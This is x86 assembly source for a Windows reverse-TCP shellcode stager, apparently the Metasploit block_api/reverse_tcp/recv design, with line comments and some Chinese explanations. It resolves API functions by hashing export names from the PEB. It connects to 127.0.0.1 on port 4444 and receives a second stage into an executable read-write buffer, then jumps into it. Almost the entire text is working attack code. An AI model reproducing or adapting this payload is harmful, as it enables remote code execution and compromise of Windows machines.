cld ; Clear the direction flag. 用于将处理器的方向标志位清零,确保字符串操作的方向是向上增长。 call start ; Call start, this pushes the address of 'api_call' onto the stack. 这是一个函数调用,它调用了一个名为start的标签处的代码。 %include "./src/block/block_api.asm" 这条指令包含了一个外部文件的内容,这个文件包含了API调用相关的代码。 start: ; pop ebp ; pop off the address of 'api_call' for calling later. 这里使用pop指令将栈顶的数值弹出并存入寄存器ebp中。 %include "./src/block/block_reverse_tcp.asm" ; By here we will have performed the reverse_tcp connection and EDI will be our socket. 这个指令又包含了另一个外部文件的内容,可能是与反向TCP shell相关的代码。 %include "./src/block/block_recv.asm" ; By now we will have recieved in the second stage into a RWX buffer and be executing it. 这个指令包含了接收数据的代码。
api_call: pushad ; We preserve all the registers for the caller, bar EAX and ECX. mov ebp, esp ; Create a new stack frame xor edx, edx ; Zero EDX mov edx, [fs:edx+0x30] ; Get a pointer to the PEB mov edx, [edx+0xc] ; Get PEB->Ldr mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list next_mod: ; mov esi, [edx+0x28] ; Get pointer to modules name (unicode string) movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; xor eax, eax ; Clear EAX lodsb ; Read in the next byte of the name cmp al, 'a' ; Some versions of Windows use lower case module names jl not_lowercase ; sub al, 0x20 ; If so normalise to uppercase not_lowercase: ; ror edi, 0xd ; Rotate right our hash value add edi, eax ; Add the next byte of the name dec ecx jnz loop_modname ; Loop until we have read enough ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later ; Proceed to iterate the export address table, mov edx, [edx+0x10] ; Get this modules base address mov eax, [edx+0x3c] ; Get PE header add eax, edx ; Add the modules base address mov eax, [eax+0x78] ; Get export tables RVA test eax, eax ; Test if no export address table is present jz get_next_mod1 ; If no EAT present, process the next module add eax, edx ; Add the modules base address push eax ; Save the current modules EAT mov ecx, [eax+0x18] ; Get the number of function names mov ebx, [eax+0x20] ; Get the rva of the function names add ebx, edx ; Add the modules base address ; Computing the module hash + function hash get_next_func: ; test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps below jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module dec ecx ; Decrement the function name counter mov esi, [ebx+ecx*4] ; Get rva of next module name add esi, edx ; Add the modules base address xor edi, edi ; Clear EDI which will store the hash of the function name ; And compare it to the one we want loop_funcname: ; xor eax, eax ; Clear EAX lodsb ; Read in the next byte of the ASCII function name ror edi, 0xd ; Rotate right our hash value add edi, eax ; Add the next byte of the name cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add edi, [ebp-8] ; Add the current module hash to the function hash cmp edi, [ebp+0x24] ; Compare the hash to the one we are searchnig for jnz get_next_func ; Go compute the next function hash if we have not found it ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT mov ebx, [eax+0x24] ; Get the ordinal table rva add ebx, edx ; Add the modules base address mov cx, [ebx+2*ecx] ; Get the desired functions ordinal mov ebx, [eax+0x1c] ; Get the function addresses table rva add ebx, edx ; Add the modules base address mov eax, [ebx+4*ecx] ; Get the desired functions RVA add eax, edx ; Add the modules base address to get the functions actual VA ; We now fix up the stack and perform the call to the desired function... finish: mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad pop ebx ; Clear off the current modules hash pop ebx ; Clear off the current position in the module list popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered pop ecx ; Pop off the origional return address our caller will have pushed pop edx ; Pop off the hash value our caller will have pushed push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... get_next_mod: ; pop eax ; Pop off the current (now the previous) modules EAT get_next_mod1: ; pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list mov edx, [edx] ; Get the next module jmp next_mod ; Process this module
reverse_tcp: push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. push 0x5F327377 ; ... push esp ; Push a pointer to the "ws2_32" string on the stack. push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) sub esp, eax ; alloc some space for the WSAData structure push esp ; push a pointer to this stuct push eax ; push the wVersionRequested parameter push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) call ebp ; WSAStartup( 0x0190, &WSAData );
push eax ; if we succeed, eax wil be zero, push zero for the flags param. push eax ; push null for reserved parameter push eax ; we do not specify a WSAPROTOCOL_INFO structure push eax ; we do not specify a protocol inc eax ; push eax ; push SOCK_STREAM inc eax ; push eax ; push AF_INET push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); xchg edi, eax ; save the socket for later, don't care about the value of eax after this
set_address: push byte 0x05 ; retry counter push 0x0100007F ; host 127.0.0.1 push 0x5C110002 ; family AF_INET and port 4444 mov esi, esp ; save pointer to sockaddr struct
try_connect: push byte 16 ; length of the sockaddr struct push esi ; pointer to the sockaddr struct push edi ; the socket push 0x6174A599 ; hash( "ws2_32.dll", "connect" ) call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure jz short connected
handle_failure: dec dword [esi+8] jnz short try_connect
failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp
; Input: EBP must be the address of 'api_call'. EDI must be the socket. ESI is a pointer on stack. ; Output: None. ; Clobbers: EAX, EBX, ESI, (ESP will also be modified)
recv: ; Receive the size of the incoming second stage... push byte 0 ; flags push byte 4 ; length = sizeof( DWORD ); push esi ; the 4 byte buffer on the stack to hold the second stage length push edi ; the saved socket push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) call ebp ; recv( s, &dwLength, 4, 0 ); ; Alloc a RWX buffer for the second stage mov esi, [esi] ; dereference the pointer to the second stage length push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push esi ; push the newly recieved second stage length. push byte 0 ; NULL as we dont care where the allocation is. push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... xchg ebx, eax ; ebx = our new memory address for the new stage push ebx ; push the address of the new stage so we can return into it read_more: ; push byte 0 ; flags push esi ; length push ebx ; the current address into our second stage's RWX buffer push edi ; the saved socket push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) call ebp ; recv( s, buffer, length, 0 ); add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read ret ; return into the second stage